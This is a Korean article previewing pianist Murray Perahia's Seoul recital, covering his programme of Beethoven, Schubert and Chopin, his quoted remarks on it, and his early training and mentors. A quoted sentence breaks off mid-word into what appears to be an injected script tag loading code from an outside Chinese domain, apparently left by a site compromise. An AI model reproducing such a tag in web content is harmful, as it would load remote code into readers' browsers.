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| 이 세상에서 가장 훌륭한 피아니스트가 누구인지 알고 싶으신가요? 바로 머레이 페라이어입니다!” 페라이어의 가장 친한 친구이며 동료이자 세계적인 피아니스트인 라두 루푸가 한 말이다. 음반으로만 접해온 그의 섬세하고 영롱한 음악, 언제나 진지하고 겸손한 자세로 음악에의 탐구를 멈추지 않는 머레이 페라이어의 연주를 직접 볼 수 있게 되었다는 사실만으로도 두근거림을 감출 수 없다. 지난 1998년 고대하던 페라이어의 내한공연이 IMF로 무산되어, 다시금 음반만으로 만족해야했던 팬들에게 오는 5월 30일 그의 독주회가 열린다는 소식은 한국이 월드컵 16강에 진출했다는 소식보다도 더 반가운 일이었을 지도 모른다(적어도 그의 음반을 한 번이라도 들어본 사람이라면 공감할 것이다).
투명하면서도 따뜻한 음색, 노래하는 듯한 자연스러운 멜로디 처리, 그의 음악을 뒷받침해 주는 비르투오조(그의 테크닉은 음악을 위해 존재하는 것이지 절대 음악 앞으로 나오지 않는다!)가 만들어내는 페라이어의 음악은 아름답다못해 슬프기까지 하다. 그의 모차르트 협주곡 음반에서 느껴지는 가슴 한 구석의 슬픈 감정은 이 ‘대기만성형 대가’가 이 연주를 하기까지의 고민과 노력이 느껴지기 때문일까....아니 그것은 음악 그 자체가 줄 수 있는 가장 최고조의 아름다움에서 느껴지는 슬픔일 것이다.
이번 공연에서 한국 팬들에게 선보이는 레퍼토리는 베토벤의 소나타 제27번 e단조 Op.90, 슈베르트의 소나타 제20번 A장조 D.959, 쇼팽의 발라드 제2번 a단조 Op.38, 제3번 A 장조 Op.47, 마주르카 b 단조 Op.24 No.4, D장조 Op.33 No.2, 에튀드 No.1,5,6 Op.25, 녹턴 B장조 Op.62-1. “저는 프로그램을 구성할 때 보통 한 작곡가를 중심으로 그 작곡가와 어울릴 만한 다른 작곡가들의 곡들을 채워나갑니다. 이번 연주의 중심은 슈베르트의 A장조 소나타인데요, 슈베르트의 음악은 전적으로 베토벤의 전철을 밟았다고 볼 수는 없지만, 베토벤으로부터 많은 영향을 받았다는 것은 분명하지요. 베토벤의 소나타 중에서 이번 슈베르트의 소나타와 연관성을 찾기 위해서 고른 곡이 바로 e단조 소나타입니다. 또 저는 쇼팽에 대해서 지속적으로 관심을 가지고 있는데요, 2부를 모두 쇼팽으로 꾸민 것도 다 그런 이유에서입니다. 또한 저의 쇼팽 에튀드는 이미 음반으로 출시되었고, 이번 한국, 일본, 싱가포르 순회연주를 계기로 쇼팽음반이 (재)출시되는 것으로 알고 있습니다. 그래서 더더욱 쇼팽을 고르게 되었지요.”
§ 음악에 대한 열정으로 가득했던, 그러나 평범했던 어린 시절 1947년 뉴욕 브롱스에서 태어난 페라이어는 4세부터 피아노를 시작해 6세부터는 재능을 인정받아 자넷 헤이헨에게 12년동안 배웠다. 그러나 어린 시절의 페라이어는 그리 특별한 신동은 아니었으며 21세되던 1968년까지 거의 독학에 가까웠다. 물론 1965년 뉴욕에서 있었던 코시우스코 쇼팽 콩쿠르에서 입상, 영 콘서트 아티스트 오디션에 합격하는 등 여러 성과가 있기는 했지만, 세계적인 대가인 현재의 그의 명성에는 조금 못 미치는 성적(?)이다(현재 쏟아져 나오고 있는 국제콩쿨 수상자들만 보아도 경력만으로는 페라이어를 앞지를 것만 같지 않은가?). 오히려 그는 오페라와 현악 문헌에 큰 관심을 보여왔고, 메네스 음대 시절에는 피아노가 아닌 지휘를 전공했다. “저는 제 자신이 음악에서 무언가 하려고 한다는 사실을 알고 있었습니다. 음악에 대한 저의 열정이 그칠 줄 몰랐지요. 지휘공부, 실내악 연주를 많이 하고 싶었습니다.”
§ 거장들과의 만남 1968년 그의 음악에 일대 전환을 맞이한다. 스승인 미에치슬라프 호르초프스키를 만난 것이다. 솔리스트로 활약하기보다 실내악 주자로서 평생을 몸바쳤던 호르초프스키는 레셰비츠키 학파의 마지막 수제자로 카잘스와 시게티의 반주자로도 명성이 높다. 그의 음악에 대한 겸허한 태도는 페라이어의 음악적, 인간적인 모델이 되었다. 페라이어의 음악 저변에 깔려있는 ‘겸손함의 미덕’은 아마도 호르초프스키에게서 이어받은 듯하다. 그와의 만남 뿐만 아니라 페라이어는 말보로 음악제에서 카잘스, 제르킨과 같은 거장들과 실내악 활동을 하게 된다.
“저에게 가장 먼저, 가장 많은 영향을 준 사람이 파블로 카잘스입니다. 위대한 음악가이면서 저의 음악과 인생이 지금의 모습이 되게 영향을 주었지요. 또 피터 피어스와는 함?script src=http://batyu.cn> |
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